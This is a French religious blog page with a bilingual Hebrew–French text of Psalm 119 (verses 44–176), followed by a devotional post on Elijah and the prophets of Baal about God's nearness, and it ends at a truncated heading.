    מד  וְאֶשְׁמְרָה תוֹרָתְךָ תָמִיד--    לְעוֹלָם וָעֶד. 44 Je veux observer ta Loi constamment, à tout jamais.
    מה  וְאֶתְהַלְּכָה בָרְחָבָה:    כִּי פִקֻּדֶיךָ דָרָשְׁתִּי. 45 Ainsi je circulerai bien au large, car j’aurai eu le souci de tes préceptes.
    מו  וַאֲדַבְּרָה בְעֵדֹתֶיךָ, נֶגֶד מְלָכִים;    וְלֹא אֵבוֹשׁ. 46 Je ferai de tes vérités l’objet de mes discours, en face des rois, sans aucune fausse honte.
    מז  וְאֶשְׁתַּעֲשַׁע בְּמִצְו‍ֹתֶיךָ,    אֲשֶׁר אָהָבְתִּי. 47 Et je ferai mes délices de tes commandements, qui me sont bien chers.
    מח  וְאֶשָּׂא-כַפַּי--אֶל-מִצְו‍ֹתֶיךָ, אֲשֶׁר אָהָבְתִּי;    וְאָשִׂיחָה בְחֻקֶּיךָ. 48 Je tendrai mes mains vers tes commandements, que j’aime, et consacrerai mes méditations à tes préceptes.
    מט  זְכֹר-דָּבָר, לְעַבְדֶּךָ--    עַל, אֲשֶׁר יִחַלְתָּנִי. 49 Rappelle-toi, en faveur de ton serviteur, la promesse où tu as voulu que je mette mon attente.
    נ  זֹאת נֶחָמָתִי בְעָנְיִי:    כִּי אִמְרָתְךָ חִיָּתְנִי. 50 C’est là ma consolation dans la misère, que ta parole me rende la vie.
    נא  זֵדִים, הֱלִיצֻנִי עַד-מְאֹד;    מִתּוֹרָתְךָ, לֹא נָטִיתִי. 51 Des arrogants m’ont raillé au possible: je n’ai point dévié de ta Loi.
    נב  זָכַרְתִּי מִשְׁפָּטֶיךָ מֵעוֹלָם יְהוָה;    וָאֶתְנֶחָם. 52 Je me remémore tes jugements de jadis, ô Eternel, et j’y trouve du réconfort.
    נג  זַלְעָפָה אֲחָזַתְנִי, מֵרְשָׁעִים--    עֹזְבֵי, תּוֹרָתֶךָ. 53 Un violent frisson m’avait saisi à cause des méchants, qui abandonnent ta Loi.
    נד  זְמִרוֹת, הָיוּ-לִי חֻקֶּיךָ--    בְּבֵית מְגוּרָי. 54 [Mais] tes préceptes sont devenus pour moi un sujet de cantiques dans ma demeure passagère.
    נה  זָכַרְתִּי בַלַּיְלָה שִׁמְךָ יְהוָה;    וָאֶשְׁמְרָה, תּוֹרָתֶךָ. 55 Je me souviens de ton nom pendant la nuit, Seigneur, et j’observe ta Loi.
    נו  זֹאת הָיְתָה-לִּי:    כִּי פִקֻּדֶיךָ נָצָרְתִּי. 56 C’est là mon bonheur à moi, de m’attacher à tes préceptes.
    נז  חֶלְקִי יְהוָה אָמַרְתִּי--    לִשְׁמֹר דְּבָרֶיךָ. 57 "C’est mon lot à moi, ô Eternel, me suis-je dit, d’observer tes paroles."
    נח  חִלִּיתִי פָנֶיךָ בְכָל-לֵב;    חָנֵּנִי, כְּאִמְרָתֶךָ. 58 Je t’implore de tout mon cœur, sois-moi propice, selon ta promesse.
    נט  חִשַּׁבְתִּי דְרָכָי;    וָאָשִׁיבָה רַגְלַי, אֶל-עֵדֹתֶיךָ. 59 J’ai médité sur mes voies, et ramené mes pas vers tes statuts.
    ס  חַשְׁתִּי, וְלֹא הִתְמַהְמָהְתִּי--    לִשְׁמֹר, מִצְו‍ֹתֶיךָ. 60 Je me suis empressé, sans perdre un moment, d’observer tes commandements.
    סא  חֶבְלֵי רְשָׁעִים עִוְּדֻנִי;    תּוֹרָתְךָ, לֹא שָׁכָחְתִּי. 61 Les liens des méchants m’avaient enserré: je n’ai point oublié ta Loi.
    סב  חֲצוֹת-לַיְלָה--אָקוּם, לְהוֹדוֹת לָךְ:    עַל, מִשְׁפְּטֵי צִדְקֶךָ. 62 Au milieu de la nuit je me lève pour te rendre grâce, à cause de tes équitables jugements.
    סג  חָבֵר אָנִי, לְכָל-אֲשֶׁר יְרֵאוּךָ;    וּלְשֹׁמְרֵי, פִּקּוּדֶיךָ. 63 Je suis l’allié de tous ceux qui te révèrent et qui pratiquent tes lois.
    סד  חַסְדְּךָ יְהוָה, מָלְאָה הָאָרֶץ;    חֻקֶּיךָ לַמְּדֵנִי. 64 De ta grâce, Eternel, la terre est remplie: enseigne-moi tes préceptes.
    סה  טוֹב, עָשִׂיתָ עִם-עַבְדְּךָ--    יְהוָה, כִּדְבָרֶךָ. 65 Tu as traité avec bienveillance ton serviteur, ô Eternel, conformément à ta parole.
    סו  טוּב טַעַם וָדַעַת לַמְּדֵנִי:    כִּי בְמִצְו‍ֹתֶיךָ הֶאֱמָנְתִּי. 66 Enseigne-moi ces choses précieuses: le jugement et la science, car j’ai foi en tes commandements.
    סז  טֶרֶם אֶעֱנֶה, אֲנִי שֹׁגֵג;    וְעַתָּה, אִמְרָתְךָ שָׁמָרְתִּי. 67 Avant que je fusse humilié, je m’égarais; maintenant, je suis attentif à tes discours.
    סח  טוֹב-אַתָּה וּמֵטִיב;    לַמְּדֵנִי חֻקֶּיךָ. 68 Tu es bon et tu exerces le bien, instruis-moi dans tes préceptes.
    סט  טָפְלוּ עָלַי שֶׁקֶר זֵדִים;    אֲנִי, בְּכָל-לֵב אֶצֹּר פִּקּוּדֶיךָ. 69 Des orgueilleux inventent des mensonges contre moi, et moi, de tout cœur, j’observe tes ordonnances.
    ע  טָפַשׁ כַּחֵלֶב לִבָּם;    אֲנִי, תּוֹרָתְךָ שִׁעֲשָׁעְתִּי. 70 Leur cœur est bouché comme par la graisse: moi, je fais mes délices de ta Loi.
    עא  טוֹב-לִי כִי-עֻנֵּיתִי--    לְמַעַן, אֶלְמַד חֻקֶּיךָ. 71 C’est un avantage pour moi d’avoir connu la misère, pour mieux apprendre tes préceptes.
    עב  טוֹב-לִי תוֹרַת-פִּיךָ--    מֵאַלְפֵי, זָהָב וָכָסֶף. 72 Plus précieux est pour moi l’enseignement de ta bouche que des monceaux de pièces d’or et d’argent.
    עג  יָדֶיךָ עָשׂוּנִי, וַיְכוֹנְנוּנִי;    הֲבִינֵנִי, וְאֶלְמְדָה מִצְו‍ֹתֶיךָ. 73 Ce sont tes mains qui m’ont formé et organisé, donne-moi l’intelligence pour que j’apprenne à connaître tes commandements.
    עד  יְרֵאֶיךָ, יִרְאוּנִי וְיִשְׂמָחוּ:    כִּי לִדְבָרְךָ יִחָלְתִּי. 74 Ceux qui te craignent, en me voyant, seront dans la joie, car j’espère en ta parole.
    עה  יָדַעְתִּי יְהוָה, כִּי-צֶדֶק מִשְׁפָּטֶיךָ;    וֶאֱמוּנָה, עִנִּיתָנִי. 75 Je sais, ô Seigneur, que tes arrêts sont toute justice, et que c’est en équité que tu m’as humilié.
    עו  יְהִי-נָא חַסְדְּךָ לְנַחֲמֵנִי--    כְּאִמְרָתְךָ לְעַבְדֶּךָ. 76 Que ta grâce s’applique donc à me consoler, comme tu l’avais promis à ton serviteur.
    עז  יְבֹאוּנִי רַחֲמֶיךָ וְאֶחְיֶה:    כִּי-תוֹרָתְךָ, שַׁעֲשֻׁעָי. 77 Que ta miséricorde s’étende sur moi et que je vive, puisque ta Loi fait mes délices.
    עח  יֵבֹשׁוּ זֵדִים, כִּי-שֶׁקֶר עִוְּתוּנִי;    אֲנִי, אָשִׂיחַ בְּפִקּוּדֶיךָ. 78 Que les orgueilleux soient déçus, pour m’avoir maltraité gratuitement; moi, je méditerai tes préceptes.
    עט  יָשׁוּבוּ לִי יְרֵאֶיךָ;    וידעו (וְיֹדְעֵי), עֵדֹתֶיךָ. 79 Que tes adorateurs reviennent à moi, et ceux qui connaissent tes vérités.
    פ  יְהִי-לִבִּי תָמִים בְּחֻקֶּיךָ--    לְמַעַן, לֹא אֵבוֹשׁ. 80 Que mon cœur soit sincèrement attaché à tes lois, afin que je n’aie point à rougir.
    פא  כָּלְתָה לִתְשׁוּעָתְךָ נַפְשִׁי;    לִדְבָרְךָ יִחָלְתִּי. 81 Mon âme languit après ton secours, c’est en ta parole que je mets mon espoir.
    פב  כָּלוּ עֵינַי, לְאִמְרָתֶךָ--    לֵאמֹר, מָתַי תְּנַחֲמֵנִי. 82 Mes yeux se consument dans l’attente de ta parole, tandis que je dis: "Quand me consoleras-tu?"
    פג  כִּי-הָיִיתִי, כְּנֹאד בְּקִיטוֹר--    חֻקֶּיךָ, לֹא שָׁכָחְתִּי. 83 Car je suis comme une outre dans des flots de fumée: tes préceptes, je ne les ai point oubliés.
    פד  כַּמָּה יְמֵי-עַבְדֶּךָ;    מָתַי תַּעֲשֶׂה בְרֹדְפַי מִשְׁפָּט. 84 Que dureront les jours de ton serviteur? Quand feras-tu justice de mes persécuteurs?
    פה  כָּרוּ-לִי זֵדִים שִׁיחוֹת--    אֲשֶׁר, לֹא כְתוֹרָתֶךָ. 85 Des pervers m’ont creusé des fosses, au mépris de ta Loi.
    פו  כָּל-מִצְו‍ֹתֶיךָ אֱמוּנָה;    שֶׁקֶר רְדָפוּנִי עָזְרֵנִי. 86 Tous tes commandements sont loyauté parfaite, eux me pourchassent sans motif: viens à mon aide.
    פז  כִּמְעַט, כִּלּוּנִי בָאָרֶץ;    וַאֲנִי, לֹא-עָזַבְתִּי פִקֻּדֶיךָ. 87 Peu s’en faut qu’ils ne m’aient anéanti sur terre, alors que moi, je n’ai point délaissé tes préceptes.
    פח  כְּחַסְדְּךָ חַיֵּנִי;    וְאֶשְׁמְרָה, עֵדוּת פִּיךָ. 88 Fidèle à ta bonté, conserve-moi en vie, et je respecterai le témoignage de ta bouche.
    פט  לְעוֹלָם יְהוָה--    דְּבָרְךָ, נִצָּב בַּשָּׁמָיִם. 89 Pour l’éternité, Seigneur, ta parole demeure immuable dans les cieux.
    צ  לְדֹר וָדֹר, אֱמוּנָתֶךָ;    כּוֹנַנְתָּ אֶרֶץ, וַתַּעֲמֹד. 90 D’âge en âge dure ta fidélité: tu as affermi la terre, et elle est inébranlable.
    צא  לְמִשְׁפָּטֶיךָ, עָמְדוּ הַיּוֹם:    כִּי הַכֹּל עֲבָדֶיךָ. 91 Selon tes lois, les êtres subsistent aujourd’hui, car ils sont tous tes serviteurs.
    צב  לוּלֵי תוֹרָתְךָ, שַׁעֲשֻׁעָי--    אָז, אָבַדְתִּי בְעָנְיִי. 92 Si ta Loi n’avait fait mes délices, j’aurais succombé dans ma misère.
    צג  לְעוֹלָם, לֹא-אֶשְׁכַּח פִּקּוּדֶיךָ:    כִּי בָם, חִיִּיתָנִי. 93 Jamais je n’oublierai tes préceptes, car par eux tu m’assures la vie.
    צד  לְךָ-אֲנִי, הוֹשִׁיעֵנִי:    כִּי פִקּוּדֶיךָ דָרָשְׁתִּי. 94 Je suis à toi, prête-moi secours, car je m’enquiers de tes ordres.
    צה  לִי קִוּוּ רְשָׁעִים לְאַבְּדֵנִי;    עֵדֹתֶיךָ, אֶתְבּוֹנָן. 95 Des méchants me guettent pour me perdre: je cherche à pénétrer le sens de tes prescriptions.
    צו  לְכָל-תִּכְלָה, רָאִיתִי קֵץ;    רְחָבָה מִצְוָתְךָ מְאֹד. 96 A tout bien j’ai vu des limites: ta Loi est infiniment vaste.
    צז  מָה-אָהַבְתִּי תוֹרָתֶךָ:    כָּל-הַיּוֹם, הִיא שִׂיחָתִי. 97 Combien j’aime ta Loi! Tout le temps elle est l’objet de mes méditations.
    צח  מֵאֹיְבַי, תְּחַכְּמֵנִי מִצְו‍ֹתֶךָ:    כִּי לְעוֹלָם הִיא-לִי. 98 Tes commandements me rendent plus sage que mes ennemis, car ils sont pour moi un bien inépuisable.
    צט  מִכָּל-מְלַמְּדַי הִשְׂכַּלְתִּי:    כִּי עֵדְו‍ֹתֶיךָ, שִׂיחָה לִי. 99 Je suis plus avisé que tous mes précepteurs, car tes vérités sont le thème de mes réflexions.
    ק  מִזְּקֵנִים אֶתְבּוֹנָן:    כִּי פִקּוּדֶיךָ נָצָרְתִּי. 100 J’ai plus d’expérience que les vieillards, car je respecte tes préceptes.
    קא  מִכָּל-אֹרַח רָע, כָּלִאתִי רַגְלָי--    לְמַעַן, אֶשְׁמֹר דְּבָרֶךָ. 101 J’ai tenu mes pas éloignés de tout mauvais chemin, en vue d’observer tes paroles.
    קב  מִמִּשְׁפָּטֶיךָ לֹא-סָרְתִּי:    כִּי-אַתָּה, הוֹרֵתָנִי. 102 Je n’ai point dévié de tes règles, car c’est toi qui m’as instruit.
    קג  מַה-נִּמְלְצוּ לְחִכִּי, אִמְרָתֶךָ--    מִדְּבַשׁ לְפִי. 103 Que tes paroles sont douces à mon palais! Le miel l’est moins à ma bouche.
    קד  מִפִּקּוּדֶיךָ אֶתְבּוֹנָן;    עַל כֵּן, שָׂנֵאתִי כָּל-אֹרַח שָׁקֶר. 104 J’ai puisé mon savoir dans tes préceptes, c’est pourquoi je hais toute voie mensongère.
    קה  נֵר-לְרַגְלִי דְבָרֶךָ;    וְאוֹר, לִנְתִיבָתִי. 105 Ta parole est un flambeau qui éclaire mes pas, une lumière qui rayonne sur ma route.
    קו  נִשְׁבַּעְתִּי וָאֲקַיֵּמָה--    לִשְׁמֹר, מִשְׁפְּטֵי צִדְקֶךָ. 106 J’ai fait le serment, et je le tiendrai, d’observer les règles de ta justice.
    קז  נַעֲנֵיתִי עַד-מְאֹד;    יְהוָה, חַיֵּנִי כִדְבָרֶךָ. 107 Je suis extrêmement accablé, Eternel, conserve-moi en vie selon ta parole.
    קח  נִדְבוֹת פִּי, רְצֵה-נָא יְהוָה;    וּמִשְׁפָּטֶיךָ לַמְּדֵנִי. 108 Agrée de grâce, Seigneur, les vœux de ma bouche, et enseigne-moi tes lois.
    קט  נַפְשִׁי בְכַפִּי תָמִיד;    וְתוֹרָתְךָ, לֹא שָׁכָחְתִּי. 109 Mon âme court sans cesse des dangers, et je n’ai point oublié ta loi.
    קי  נָתְנוּ רְשָׁעִים פַּח לִי;    וּמִפִּקּוּדֶיךָ, לֹא תָעִיתִי. 110 Des méchants me dressent des pièges, pourtant je ne dévie point de tes préceptes.
    קיא  נָחַלְתִּי עֵדְו‍ֹתֶיךָ לְעוֹלָם:    כִּי-שְׂשׂוֹן לִבִּי הֵמָּה. 111 Je reste pour toujours en possession de tes vérités, car elles sont la joie de mon cœur.
    קיב  נָטִיתִי לִבִּי, לַעֲשׂוֹת חֻקֶּיךָ--    לְעוֹלָם עֵקֶב. 112 J’ai incliné mon cœur à accomplir tes lois à tout jamais, jusqu’à la fin dernière.
    קיג  סֵעֲפִים שָׂנֵאתִי;    וְתוֹרָתְךָ אָהָבְתִּי. 113 Je hais les gens à double face, mais ta Loi, je l’aime.
    קיד  סִתְרִי וּמָגִנִּי אָתָּה;    לִדְבָרְךָ יִחָלְתִּי. 114 Tu es mon abri et mon bouclier, j’espère en ta parole.
    קטו  סוּרוּ-מִמֶּנִּי מְרֵעִים;    וְאֶצְּרָה, מִצְו‍ֹת אֱלֹהָי. 115 Loin de moi, ô malfaiteurs! Je veux observer les commandements de mon Dieu.
    קטז  סָמְכֵנִי כְאִמְרָתְךָ וְאֶחְיֶה;    וְאַל-תְּבִישֵׁנִי, מִשִּׂבְרִי. 116 Soutiens-moi selon ta promesse pour que je vive, et ne laisse pas mon espoir se changer en déception.
    קיז  סְעָדֵנִי וְאִוָּשֵׁעָה;    וְאֶשְׁעָה בְחֻקֶּיךָ תָמִיד. 117 Accorde-moi ton appui pour que je sois sauvé, je me tournerai sans cesse vers tes lois.
    קיח  סָלִיתָ, כָּל-שׁוֹגִים מֵחֻקֶּיךָ:    כִּי-שֶׁקֶר, תַּרְמִיתָם. 118 Tu foules aux pieds ceux qui errent loin de tes préceptes, car leurs ruses habiles ne sont que mensonge.
    קיט  סִגִים--הִשְׁבַּתָּ כָל-רִשְׁעֵי-אָרֶץ;    לָכֵן, אָהַבְתִּי עֵדֹתֶיךָ. 119 Comme des scories, tu élimines tous les méchants sur terre, c’est pourquoi j’aime tes vérités.
    קכ  סָמַר מִפַּחְדְּךָ בְשָׂרִי;    וּמִמִּשְׁפָּטֶיךָ יָרֵאתִי. 120 Ma chair frissonne de la terreur que tu inspires, et je redoute tes jugements.
    קכא  עָשִׂיתִי, מִשְׁפָּט וָצֶדֶק;    בַּל-תַּנִּיחֵנִי, לְעֹשְׁקָי. 121 J’ai pratiqué la justice et l’équité, ne m’abandonne pas à mes oppresseurs.
    קכב  עֲרֹב עַבְדְּךָ לְטוֹב;    אַל-יַעַשְׁקֻנִי זֵדִים. 122 Interviens pour le bonheur de ton serviteur, que des arrogants ne m’accablent point.
    קכג  עֵינַי, כָּלוּ לִישׁוּעָתֶךָ;    וּלְאִמְרַת צִדְקֶךָ. 123 Mes yeux languissent après ton secours, et après ta parole de salut.
    קכד  עֲשֵׂה עִם-עַבְדְּךָ כְחַסְדֶּךָ;    וְחֻקֶּיךָ לַמְּדֵנִי. 124 Traite ton serviteur selon ta grâce, et enseigne-moi tes préceptes.
    קכה  עַבְדְּךָ-אָנִי הֲבִינֵנִי;    וְאֵדְעָה, עֵדֹתֶיךָ. 125 Je suis ton serviteur, donne-moi la sagacité, pour que je comprenne tes vérités.
    קכו  עֵת, לַעֲשׂוֹת לַיהוָה--    הֵפֵרוּ, תּוֹרָתֶךָ. 126 Le temps est venu d’agir pour l’Eternel: on a violé ta Loi.
    קכז  עַל-כֵּן, אָהַבְתִּי מִצְו‍ֹתֶיךָ--    מִזָּהָב וּמִפָּז. 127 C’est pourquoi j’aime tes commandements, plus que l’or et le métal fin.
    קכח  עַל-כֵּן, כָּל-פִּקּוּדֵי כֹל יִשָּׁרְתִּי;    כָּל-אֹרַח שֶׁקֶר שָׂנֵאתִי. 128 C’est pourquoi je reconnais la parfaite droiture de tous [tes] préceptes, et déteste toute voie mensongère.
    קכט  פְּלָאוֹת עֵדְו‍ֹתֶיךָ;    עַל-כֵּן, נְצָרָתַם נַפְשִׁי. 129 Merveilleux sont tes statuts, aussi mon âme les garde-t-elle avec soin.
    קל  פֵּתַח דְּבָרֶיךָ יָאִיר;    מֵבִין פְּתָיִים. 130 La révélation de tes paroles projette de la lumière, donne de l’intelligence aux simples.
    קלא  פִּי-פָעַרְתִּי, וָאֶשְׁאָפָה:    כִּי לְמִצְו‍ֹתֶיךָ יָאָבְתִּי. 131 J’ouvre largement la bouche pour aspirer, car j’ai la passion de tes commandements.
    קלב  פְּנֵה-אֵלַי וְחָנֵּנִי--    כְּמִשְׁפָּט, לְאֹהֲבֵי שְׁמֶךָ. 132 Tourne-toi vers moi et sois-moi propice, comme tu le fais pour ceux qui aiment ton nom.
    קלג  פְּעָמַי, הָכֵן בְּאִמְרָתֶךָ;    וְאַל-תַּשְׁלֶט-בִּי כָל-אָוֶן. 133 Affermis mes pas par tes discours, qu’aucune mauvaise passion ne prenne le dessus sur moi.
    קלד  פְּדֵנִי, מֵעֹשֶׁק אָדָם;    וְאֶשְׁמְרָה, פִּקּוּדֶיךָ. 134 Délivre-moi de l’oppression des hommes, pour que je puisse observer tes préceptes.
    קלה  פָּנֶיךָ, הָאֵר בְּעַבְדֶּךָ;    וְלַמְּדֵנִי, אֶת-חֻקֶּיךָ. 135 Fais luire ta face sur ton serviteur, et enseigne-moi tes préceptes.
    קלו  פַּלְגֵי-מַיִם, יָרְדוּ עֵינָי--    עַל, לֹא-שָׁמְרוּ תוֹרָתֶךָ. 136 Mes yeux ont versé des torrents de larmes, parce qu’on n’observe pas ta Loi.
    קלז  צַדִּיק אַתָּה יְהוָה;    וְיָשָׁר, מִשְׁפָּטֶיךָ. 137 Tu es juste, ô Seigneur, et équitables sont tes jugements.
    קלח  צִוִּיתָ, צֶדֶק עֵדֹתֶיךָ;    וֶאֱמוּנָה מְאֹד. 138 Tu as imposé tes justes ordonnances: elles sont tout à fait infaillibles.
    קלט  צִמְּתַתְנִי קִנְאָתִי:    כִּי-שָׁכְחוּ דְבָרֶיךָ צָרָי. 139 Je suis consumé par mon zèle jaloux, car mes adversaires oublient tes paroles.
    קמ  צְרוּפָה אִמְרָתְךָ מְאֹד;    וְעַבְדְּךָ אֲהֵבָהּ. 140 Ta parole est infiniment épurée, elle est chère à ton serviteur.
    קמא  צָעִיר אָנֹכִי וְנִבְזֶה;    פִּקֻּדֶיךָ, לֹא שָׁכָחְתִּי. 141 Je suis chétif et méprisé: tes préceptes, je ne les ai point oubliés.
    קמב  צִדְקָתְךָ צֶדֶק לְעוֹלָם;    וְתוֹרָתְךָ אֱמֶת. 142 Ta justice est éternellement équitable, et ta Loi est vérité.
    קמג  צַר-וּמָצוֹק מְצָאוּנִי;    מִצְו‍ֹתֶיךָ, שַׁעֲשֻׁעָי. 143 La détresse et l’angoisse m’ont atteint: tes commandements sont mes délices.
    קמד  צֶדֶק עֵדְו‍ֹתֶיךָ לְעוֹלָם;    הֲבִינֵנִי וְאֶחְיֶה. 144 Tes statuts sont à jamais équitables, permets-moi de les comprendre, pour que je vive.
    קמה  קָרָאתִי בְכָל-לֵב, עֲנֵנִי יְהוָה;    חֻקֶּיךָ אֶצֹּרָה. 145 Je t’invoque de tout cœur, exauce-moi, Seigneur! Je veux observer tes préceptes.
    קמו  קְרָאתִיךָ הוֹשִׁיעֵנִי;    וְאֶשְׁמְרָה, עֵדֹתֶיךָ. 146 Je t’appelle, viens à mon secours, et je garderai tes statuts.
    קמז  קִדַּמְתִּי בַנֶּשֶׁף, וָאֲשַׁוֵּעָה;    לדבריך (לִדְבָרְךָ) יִחָלְתִּי. 147 Dès l’aurore je m’empresse d’implorer, j’espère en ta parole.
    קמח  קִדְּמוּ עֵינַי, אַשְׁמֻרוֹת--    לָשִׂיחַ, בְּאִמְרָתֶךָ. 148 Mes yeux devancent les veilles [de la nuit], pour méditer ta parole.
    קמט  קוֹלִי, שִׁמְעָה כְחַסְדֶּךָ;    יְהוָה, כְּמִשְׁפָּטֶךָ חַיֵּנִי. 149 Daigne écouter ma voix, selon ta bonté, Eternel; fais-moi vivre selon l’arrêt de ta justice.
    קנ  קָרְבוּ, רֹדְפֵי זִמָּה;    מִתּוֹרָתְךָ רָחָקוּ. 150 Ils m’approchent, ceux qui courent après l’infamie, il s’éloignent de ta Loi.
    קנא  קָרוֹב אַתָּה יְהוָה;    וְכָל-מִצְו‍ֹתֶיךָ אֱמֶת. 151 Toi, Seigneur, tu es près [de moi], tous tes commandements sont vérité.
    קנב  קֶדֶם יָדַעְתִּי, מֵעֵדֹתֶיךָ:    כִּי לְעוֹלָם יְסַדְתָּם. 152 Dès longtemps j’avais connaissance de tes statuts, car tu les as établis pour l’éternité.
    קנג  רְאֵה-עָנְיִי וְחַלְּצֵנִי:    כִּי-תוֹרָתְךָ, לֹא שָׁכָחְתִּי. 153 Vois ma misère et tire-moi du danger, car je n’ai pas oublié ta Loi.
    קנד  רִיבָה רִיבִי, וּגְאָלֵנִי;    לְאִמְרָתְךָ חַיֵּנִי. 154 Prends en main ma cause et délivre-moi, fais-moi vivre pour me consacrer à ta parole.
    קנה  רָחוֹק מֵרְשָׁעִים יְשׁוּעָה:    כִּי חֻקֶּיךָ, לֹא דָרָשׁוּ. 155 Le salut est loin des méchants, car ils ne se soucient pas de tes préceptes.
    קנו  רַחֲמֶיךָ רַבִּים יְהוָה;    כְּמִשְׁפָּטֶיךָ חַיֵּנִי. 156 Grande est ta miséricorde, Eternel, fais-moi vivre selon l’arrêt de ta justice.
    קנז  רַבִּים, רֹדְפַי וְצָרָי;    מֵעֵדְו‍ֹתֶיךָ, לֹא נָטִיתִי. 157 Nombreux sont mes persécuteurs et mes ennemis; je n’ai point dévié de tes statuts.
    קנח  רָאִיתִי בֹגְדִים, וָאֶתְקוֹטָטָה--    אֲשֶׁר אִמְרָתְךָ, לֹא שָׁמָרוּ. 158 J’ai observé les traîtres et j’en ai été écœuré, car ils ne respectent pas ta parole.
    קנט  רְאֵה, כִּי-פִקּוּדֶיךָ אָהָבְתִּי;    יְהוָה, כְּחַסְדְּךָ חַיֵּנִי. 159 Vois comme j’aime tes prescriptions, Seigneur, selon ta bonté, fais-moi vivre.
    קס  רֹאשׁ-דְּבָרְךָ אֱמֶת;    וּלְעוֹלָם, כָּל-מִשְׁפַּט צִדְקֶךָ. 160 L’ensemble de tes paroles est vérité, éternels sont tous les arrêts de ta justice.
    קסא  שָׂרִים, רְדָפוּנִי חִנָּם;    ומדבריך (וּמִדְּבָרְךָ), פָּחַד לִבִּי. 161 Des grands me persécutent gratuitement, et mon cœur tremble devant ta parole.
    קסב  שָׂשׂ אָנֹכִי, עַל-אִמְרָתֶךָ--    כְּמוֹצֵא, שָׁלָל רָב. 162 Je me réjouis de tes promesses, comme quelqu’un qui a trouvé un riche butin.
    קסג  שֶׁקֶר שָׂנֵאתִי, וַאֲתַעֵבָה;    תּוֹרָתְךָ אָהָבְתִּי. 163 Je hais le mensonge, je l’ai en horreur, c’est ta Loi que j’aime.
    קסד  שֶׁבַע בַּיּוֹם, הִלַּלְתִּיךָ--    עַל, מִשְׁפְּטֵי צִדְקֶךָ. 164 Sept fois par jour je célèbre tes louanges, en raison de tes justes arrêts.
    קסה  שָׁלוֹם רָב, לְאֹהֲבֵי תוֹרָתֶךָ;    וְאֵין-לָמוֹ מִכְשׁוֹל. 165 Un grand bonheur attend ceux qui aiment ta Loi: pour eux point de cause de chute.
    קסו  שִׂבַּרְתִּי לִישׁוּעָתְךָ יְהוָה;    וּמִצְו‍ֹתֶיךָ עָשִׂיתִי. 166 J’ai pleine confiance en ton secours, Seigneur, et j’accomplis tes commandements.
    קסז  שָׁמְרָה נַפְשִׁי, עֵדֹתֶיךָ;    וָאֹהֲבֵם מְאֹד. 167 Mon âme observe tes témoignages, je les aime infiniment.
    קסח  שָׁמַרְתִּי פִקּוּדֶיךָ, וְעֵדֹתֶיךָ:    כִּי כָל-דְּרָכַי נֶגְדֶּךָ. 168 J’observe tes prescriptions et tes statuts, car toutes mes voies sont sous tes regards.
    קסט  תִּקְרַב רִנָּתִי לְפָנֶיךָ יְהוָה;    כִּדְבָרְךָ הֲבִינֵנִי. 169 Que mon hymne arrive jusqu’à toi, Eternel, fais-moi comprendre le sens de ta parole.
    קע  תָּבוֹא תְּחִנָּתִי לְפָנֶיךָ;    כְּאִמְרָתְךָ, הַצִּילֵנִי. 170 Que ma supplication vienne devant toi, sauve-moi selon ta promesse.
    קעא  תַּבַּעְנָה שְׂפָתַי תְּהִלָּה:    כִּי תְלַמְּדֵנִי חֻקֶּיךָ. 171 Mes lèvres laisseront s’échapper tes louanges, car tu m’enseignes tes préceptes.
    קעב  תַּעַן לְשׁוֹנִי, אִמְרָתֶךָ:    כִּי כָל-מִצְו‍ֹתֶיךָ צֶּדֶק. 172 Ma langue chantera ta parole, car tous tes commandements sont équité.
    קעג  תְּהִי-יָדְךָ לְעָזְרֵנִי:    כִּי פִקּוּדֶיךָ בָחָרְתִּי. 173 Puisse ta main s’appliquer à me secourir, puisque j’ai fait choix de tes prescriptions!
    קעד  תָּאַבְתִּי לִישׁוּעָתְךָ יְהוָה;    וְתוֹרָתְךָ, שַׁעֲשֻׁעָי. 174 J’aspire à ton secours, Eternel, et ta Loi fait mes délices.
    קעה  תְּחִי-נַפְשִׁי, וּתְהַלְלֶךָּ;    וּמִשְׁפָּטֶךָ יַעְזְרֻנִי. 175 Que mon âme vive pour te louer, que tes jugements soient mon soutien.
    קעו  תָּעִיתִי--    כְּשֶׂה אֹבֵד, בַּקֵּשׁ עַבְדֶּךָ:
    כִּי מִצְו‍ֹתֶיךָ,    לֹא שָׁכָחְתִּי.
    176 J’erre comme une brebis égarée; mets-toi à la recherche de ton serviteur! Car je n’ai pas oublié tes commandements.



    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  IL AGIRA POUR TOI !

     

     

     

    IL AGIRA POUR TOI !

    Crois-tu que D.ieu va rester impassible et qu'il va laisser le diable faire ce qu'il veut de toi ?
    Si D.ieu n'agissait pas en ta faveur quand tu as besoin de Lui, Il ne serait rien de plus que le faux dieu Baal !


    Elie
    a eu une épreuve de force avec les prophètes de Baal au mont Carmel, où un autel a été construit. Le test était : “Le dieu qui répondra aux prières aujourd'hui est D.ieu !” Elie a prié pour que le feu tombe surnaturellement sur le sacrifice qu'il avait placé sur l'autel. Et c'est exactement ce qui s'est passé.


    Mais avant que cela ne se produise, les prophètes de Baal ont dansé depuis le matin jusqu'à midi, pleurant, criant et suppliant leur dieu pour qu'il réponde. “Mais il n'y eut ni voix ni réponse.”(1 Rois 18:26)


    Elie s'est moqué de ces faux prophètes : “Criez à haute voix, puisqu'il est dieu ; il pense à quelque chose, ou il est occupé, ou il est en voyage ; peut-être qu'il dort, et il se réveillera.”(v.27). Elie leur disait : “où donc est votre dieu ? Est-il en vacances ? Dort-il ? Il doit être sorti faire un tour.”

    Nous pourrions nous moquer pareillement de D.ieu s'il ne répondait pas lorsque nous crions à Lui. Tu vois, son honneur est en jeu lorsque nous Le prions. Et on ne se moquera pas de Lui parce qu'Il ne répond pas. La Bible dit de Lui :
    “Il ne permettra point que ton pied chancelle ...Voici, il ne sommeille ni ne dort, Celui qui garde Israël” (Psaumes 121:3-4). Notre D.ieu est toujours éveillé et Il est attentif à chacun de nos besoins.


    “Ils s'approchent, ceux qui poursuivent le crime, Ils s'éloignent de la loi. Tu es proche, ô Éternel ! Et tous tes commandements sont la
    vérité.”(Psaumes 119:150-151)


    La glorieuse vérité révélée dans ce passage peut changer ta vie,
    t'apporter la paix et te donner le repos, au-delà de tout ce que tu as déjà pu expérimenter. Tu vois, une fois que tu comprends la vérité concernant la proximité constante de D.ieu, le fait qu'Il t'aime et qu'Il est toujours près de toi, aucune crainte ou anxiété ne peut subsister.


    D.W.
    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  Apôtre, Prophéte, Docteur, "Conclusions"

     

    Apôtre

